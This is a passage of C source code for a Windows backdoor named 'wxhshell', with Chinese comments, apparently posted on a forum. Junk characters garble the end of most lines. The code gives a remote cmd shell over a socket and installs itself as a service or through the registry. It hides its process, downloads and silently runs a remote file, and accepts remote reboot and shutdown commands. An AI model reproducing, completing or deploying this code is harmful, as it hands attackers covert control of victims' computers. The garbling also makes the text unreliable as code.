  case '?': { 2B^~/T<\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u+i(";\  
    break; W6vf=I@f  
  } *8PN!^  
  // 安装 +P|2m"UA  
  case 'i': { vv &BhIf3  
    if(Install()) 1]j^d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > @+#  
    else X(]Zr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [B,'=,Hbs  
    break; |Ab{H%  
    } SET-8f  
  // 卸载 Txo@ U  
  case 'r': { ,;%yf?  
    if(Uninstall()) i X%[YQ |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lV\lj@  
    else 6UlF5pom  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V-,Xig;`  
    break; $Z ]z  
    } s"i~6})K<$  
  // 显示 wxhshell 所在路径 ,t1vb3  
  case 'p': { P/MM UmO  
    char svExeFile[MAX_PATH]; ~].ggcl`w  
    strcpy(svExeFile,"\n\r"); "mOI!x f@a  
      strcat(svExeFile,ExeFile); x` 2| }AP(  
        send(wsh,svExeFile,strlen(svExeFile),0); `}gdN};  
    break; 4=xq:Tf  
    } "b]#MO}P  
  // 重启 FQROK4x%"  
  case 'b': { e0 u,zg+m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]9*;;4M g  
    if(Boot(REBOOT)) `XW*kxpm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KXf<$\+zO  
    else { ^O)ve^P  
    closesocket(wsh); J B^Q\;$  
    ExitThread(0); ^P?vkO"pB?  
    } WS:5MI,OL  
    break; mibpG9+d  
    } VYaSB?`/  
  // 关机 ^ S  
  case 'd': { X\\7$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q`A6(y/s?  
    if(Boot(SHUTDOWN)) @*(4dt:V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OP%?dh]  
    else { |CIC$2u  
    closesocket(wsh); f@@s1gdb  
    ExitThread(0); Km!nM$=k  
    } Y%Ieg.o  
    break; wAFW*rO5o  
    } v$Uhm</|19  
  // 获取shell `ZMK9f:  
  case 's': { *V1J4 u  
    CmdShell(wsh); S@xXq{j  
    closesocket(wsh); pzhl*ss"6  
    ExitThread(0); nN aXp*J  
    break; RV+E^pkp$  
  } q+ pOrGh  
  // 退出 U>P|X=)  
  case 'x': { zN{JJ3-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RJ~ %0  
    CloseIt(wsh); gg^1b77hT  
    break; !VP %v&jKm  
    } 8uch i  
  // 离开 _<zfQZai  
  case 'q': { L9FHgl?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hO#t:WxFI  
    closesocket(wsh); he$XLTmr:  
    WSACleanup(); \NK-L."[  
    exit(1); }$kQs!#  
    break; Puh$%;x  
        } `uo, __y  
  } ;AIc?Cg  
  } y&oNv xG-  
tmJgm5v  
  // 提示信息 c|AtBgvf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WKl+{e  
} TWd;EnNM  
  } 909md|9K3  
zl%>`k!>  
  return; S~NM\[S  
} }]+xFj9[>  
yGj.)$1},@  
// shell模块句柄 ;o-yQmdh  
int CmdShell(SOCKET sock) xHo&[{  
{ Pc_VY>Ty  
STARTUPINFO si; JOb MZA$  
ZeroMemory(&si,sizeof(si)); }BJX/, H,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F$MX,,4U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @5VV|Wt=  
PROCESS_INFORMATION ProcessInfo; "D][e'  
char cmdline[]="cmd"; 6!q#x[A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^2JpWY:|7  
  return 0; -$2kO`|p  
} Hkd^-=]]no  
ymN!-x8q>'  
// 自身启动模式 .*YD&(  
int StartFromService(void) ?okx<'"[  
{ jS<_ )  
typedef struct tPfFqqT  
{ ]zfG~^.  
  DWORD ExitStatus; 7~1IO|4t  
  DWORD PebBaseAddress; Vj?DA5W`'  
  DWORD AffinityMask; +&|S'7&{  
  DWORD BasePriority; Sr_VL:Gg  
  ULONG UniqueProcessId;  dy>!KO  
  ULONG InheritedFromUniqueProcessId; bh p5<N  
}   PROCESS_BASIC_INFORMATION; IMGP'g  
T=Z.TG|lIx  
PROCNTQSIP NtQueryInformationProcess; v2+!1r7@  
^tH#YlV4>9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hk>;pU(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MJ{%4S{K,p  
)C%N]9FvY  
  HANDLE             hProcess; kA wNly  
  PROCESS_BASIC_INFORMATION pbi; i38[hQR9a  
[I;^^#'P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5W? v'"  
  if(NULL == hInst ) return 0; ,*I@  
kAA>FI6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H%F>@(U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :G5uocVk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \e3`/D  
^:=f^N=^  
  if (!NtQueryInformationProcess) return 0; @>Mxwpl?  
je/!{(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O,@~L$a:YZ  
  if(!hProcess) return 0; I=DxRgt  
7q =G&e7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g'$tj&Vk:  
bG F7Zh9  
  CloseHandle(hProcess); dt}_D={Be  
_<c$)1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^P'{U26  
if(hProcess==NULL) return 0; 'x"08v$  
!h[VUg_8  
HMODULE hMod; XFVV},V  
char procName[255]; lj=l4 &.i  
unsigned long cbNeeded; *l&S-=]  
eYX5(`c[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]b/S6oc6  
m!tx(XsXU  
  CloseHandle(hProcess); Z3TS,a1I4  
!p/%lU65  
if(strstr(procName,"services")) return 1; // 以服务启动 \55VqGyxu9  
Vr[czfROz'  
  return 0; // 注册表启动 _nh[(F<hz  
} yp.[HMRD  
v"& pQ  
// 主模块 a|7a_s4(  
int StartWxhshell(LPSTR lpCmdLine) SMH<'F7i  
{ 2 {Vcb  
  SOCKET wsl; M$4[)6Y  
BOOL val=TRUE; }Z-Z|G)#  
  int port=0; pCh2SQ(Q>  
  struct sockaddr_in door; -s|8<A||"  
J (4"S o_  
  if(wscfg.ws_autoins) Install(); d?AlI  
Sq\(pfv o  
port=atoi(lpCmdLine); r KH:[lK m  
C)'q QvA  
if(port<=0) port=wscfg.ws_port; ` |IUGz  
w;UqEC V  
  WSADATA data; /H7&AiA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uj>WgU  
g-c ;}qz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'H8(=9O1d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ",aT WQgN  
  door.sin_family = AF_INET; tVrY3)c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8K(Z0  
  door.sin_port = htons(port); F!zP<A "  
>MK>gLg}!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =@2FX&&E_  
closesocket(wsl); k3?rp`V1  
return 1; ;W>Cqg=  
} RlT3Iz;  
ML;*e"$  
  if(listen(wsl,2) == INVALID_SOCKET) { OU5*9_7.  
closesocket(wsl); i) E|bW;  
return 1; 8r"+bhGx~  
} e:H26SW  
  Wxhshell(wsl); bXUy9 -L  
  WSACleanup(); p G1WXbqW  
m,C1J%{^  
return 0; d8-A*W[  
F  
} WE]e m >  
v>z tB,,9  
// 以NT服务方式启动 akw,P$i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 rLTF\  
{ HbP!KVHyk1  
DWORD   status = 0; !Z VU,b>  
  DWORD   specificError = 0xfffffff; )i+2X5B`S  
`qJw|u>YpJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !EUan  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sf&]u;^DY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W>-Et7&2  
  serviceStatus.dwWin32ExitCode     = 0; A_Frk'{qhB  
  serviceStatus.dwServiceSpecificExitCode = 0; .EM`.  
  serviceStatus.dwCheckPoint       = 0; 8-<:i  
  serviceStatus.dwWaitHint       = 0; "-@[R  
4_Dp+^JF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `u>4\sv  
  if (hServiceStatusHandle==0) return; wtje(z5IL  
Eu"_MgD  
status = GetLastError(); gbVdOm  
  if (status!=NO_ERROR) pTIf@n6I  
{ )95f*wte  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p<=$&*  
    serviceStatus.dwCheckPoint       = 0; W9NX=gE4  
    serviceStatus.dwWaitHint       = 0; *CHI2MB  
    serviceStatus.dwWin32ExitCode     = status; dy_:-2S  
    serviceStatus.dwServiceSpecificExitCode = specificError; =zQN[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;WR,eI..  
    return; Ft}@ 1w5  
  } {s.=)0V  
 H"A7Zo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %|s+jeUDn|  
  serviceStatus.dwCheckPoint       = 0; (vT+IZEI  
  serviceStatus.dwWaitHint       = 0; %iV^S !e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6@DF  
} .\>v0Du  
MEB it  
// 处理NT服务事件,比如:启动、停止 RX/hz|   
VOID WINAPI NTServiceHandler(DWORD fdwControl) vWAL^?HUP  
{ I`NjqyTW  
switch(fdwControl) "DYJ21Ut4  
{ U&O: _>~  
case SERVICE_CONTROL_STOP: N-lkYL-%\j  
  serviceStatus.dwWin32ExitCode = 0; sr8cYLm5R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j?'GZ d"B  
  serviceStatus.dwCheckPoint   = 0; .Wjs~0c  
  serviceStatus.dwWaitHint     = 0; H;RwO@v  
  { "AE5 V'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <[w=TdCPs  
  } #%DE;  
  return; ):iA\A5q[  
case SERVICE_CONTROL_PAUSE: -GxaV #{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m*JaXa  
  break; g+z1  
case SERVICE_CONTROL_CONTINUE: UX7t`l2R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XI^QF;,  
  break; 5oAK8I  
case SERVICE_CONTROL_INTERROGATE: X&kp;W  
  break; Y]&j,j&  
}; l\i)$=d&g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;^Dpl'v%\  
} EFz&N\2  
eA<0$Gs,h  
// 标准应用程序主函数 !KUi\yQ1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #\=FO>  
{ % >=!p  
B {>7-0  
// 获取操作系统版本 ZHa"isl$e  
OsIsNt=GetOsVer(); u?C#4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wb0L.'jyR)  
WlU0:(d  
  // 从命令行安装 VVlr*`  
  if(strpbrk(lpCmdLine,"iI")) Install(); q<M2,YrbAI  
jyCXJa-!-  
  // 下载执行文件 q@{Bt{$x  
if(wscfg.ws_downexe) { GWfL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $&=S#_HQS  
  WinExec(wscfg.ws_filenam,SW_HIDE); LGn:c;  
} n@) K #  
$` ""  
if(!OsIsNt) { |p,P46I  
// 如果时win9x,隐藏进程并且设置为注册表启动 kDsFR#w&`  
HideProc(); Z.Lc>7o  
StartWxhshell(lpCmdLine); 'tH_p  
} ')cMiX\v  
else P5UL4uyl  
  if(StartFromService()) :.Wr{"`  
  // 以服务方式启动 |!4K!_y  
  StartServiceCtrlDispatcher(DispatchTable); yK=cZw%D  
else .6Pw|xu`Pw  
  // 普通方式启动 5?x>9C a  
  StartWxhshell(lpCmdLine); wfH^<jY)E  
I`!<9OTBj  
return 0; Tc? $>'  
}
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只看该作者 1 发表于: 2006-10-10
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